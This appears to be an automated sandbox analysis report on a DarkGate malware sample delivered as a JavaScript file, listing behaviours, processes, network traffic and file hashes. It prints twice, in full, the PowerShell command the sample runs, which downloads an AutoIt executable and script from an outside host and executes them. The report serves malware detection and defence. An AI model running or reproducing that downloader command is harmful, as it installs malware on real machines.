Analysis Overview
SHA256
8df36c2cea92f6e1e476ac5643adb276af2735356c3f388e08682016f242a5dd
Threat Level: Known bad
The file 02112023_2237_00package.js was found to be: Known bad.
Malicious Activity Summary
DarkGate
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-02 14:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-02 14:37
Reported
2023-11-02 14:41
Platform
win7-20231023-en
Max time kernel
92s
Max time network
27s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2880 wrote to memory of 1636 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2880 wrote to memory of 1636 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2880 wrote to memory of 1636 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02112023_2237_00package.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msireawwicr' -OutFile 'reawwicr.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'reawwicr.au3'"
Network
Files
memory/1636-4-0x000000001B260000-0x000000001B542000-memory.dmp
memory/1636-6-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp
memory/1636-5-0x0000000002470000-0x0000000002478000-memory.dmp
memory/1636-7-0x0000000002620000-0x00000000026A0000-memory.dmp
memory/1636-8-0x0000000002620000-0x00000000026A0000-memory.dmp
memory/1636-9-0x0000000002620000-0x00000000026A0000-memory.dmp
memory/1636-10-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp
memory/1636-11-0x0000000002620000-0x00000000026A0000-memory.dmp
memory/1636-12-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-02 14:37
Reported
2023-11-02 14:41
Platform
win10v2004-20231023-en
Max time kernel
123s
Max time network
173s
Command Line
Signatures
DarkGate
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4448 created 2784 | N/A | C:\tepp\AutoIt3.exe | C:\Windows\system32\SppExtComObj.exe |
| PID 4448 created 2844 | N/A | C:\tepp\AutoIt3.exe | C:\Windows\system32\backgroundTaskHost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4448 set thread context of 4300 | N/A | C:\tepp\AutoIt3.exe | C:\Windows\SysWOW64\WerFault.exe |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX53ypgrj20bgndg05hj3tc7z654myszwp.mca
C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02112023_2237_00package.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msireawwicr' -OutFile 'reawwicr.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'reawwicr.au3'"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" reawwicr.au3
C:\Windows\SysWOW64\WerFault.exe
"C:\Windows\SysWOW64\WerFault.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 121.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sftp.noheroway.com | udp |
| US | 185.174.101.224:443 | sftp.noheroway.com | tcp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 224.101.174.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 155.245.36.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 185.174.101.224:443 | sftp.noheroway.com | tcp |
| US | 8.8.8.8:53 | 158.240.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.36.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 226.162.46.104.in-addr.arpa | udp |
Files
memory/3284-5-0x0000023137F60000-0x0000023137F82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqryfvwc.jtn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3284-10-0x00007FFF22580000-0x00007FFF23041000-memory.dmp
memory/3284-11-0x0000023135E70000-0x0000023135E80000-memory.dmp
memory/3284-12-0x0000023135E70000-0x0000023135E80000-memory.dmp
memory/3284-13-0x0000023135E70000-0x0000023135E80000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/3284-27-0x00007FFF22580000-0x00007FFF23041000-memory.dmp
C:\tepp\reawwicr.au3
| MD5 | 053d7eb4e99616d1357149a2a4f71c78 |
| SHA1 | 86a2c213913e3bb4334c4f818ba45cebc1ffb1d7 |
| SHA256 | bf2a614fba568309c930bbbb81cb216ea0a10a6afa7e81e422ff1101a13106d3 |
| SHA512 | 1663a1b08d728021024cccf9b1049ed3c7d49c91930725d0f6ad5feca9167ae3ac0a06d6b0f686f0e4c2239a201ef2949c6209caf134b48b00b2038ad5f11e7c |
memory/4448-30-0x0000000003A70000-0x0000000003C70000-memory.dmp
memory/4448-31-0x0000000004850000-0x00000000049E5000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/2308-38-0x0000000000EA0000-0x0000000000F06000-memory.dmp
memory/4300-39-0x0000000000400000-0x0000000000465000-memory.dmp
memory/4448-40-0x0000000003A70000-0x0000000003C70000-memory.dmp
memory/4300-42-0x0000000000400000-0x0000000000465000-memory.dmp
memory/4448-41-0x0000000004850000-0x00000000049E5000-memory.dmp
memory/4300-43-0x0000000000400000-0x0000000000465000-memory.dmp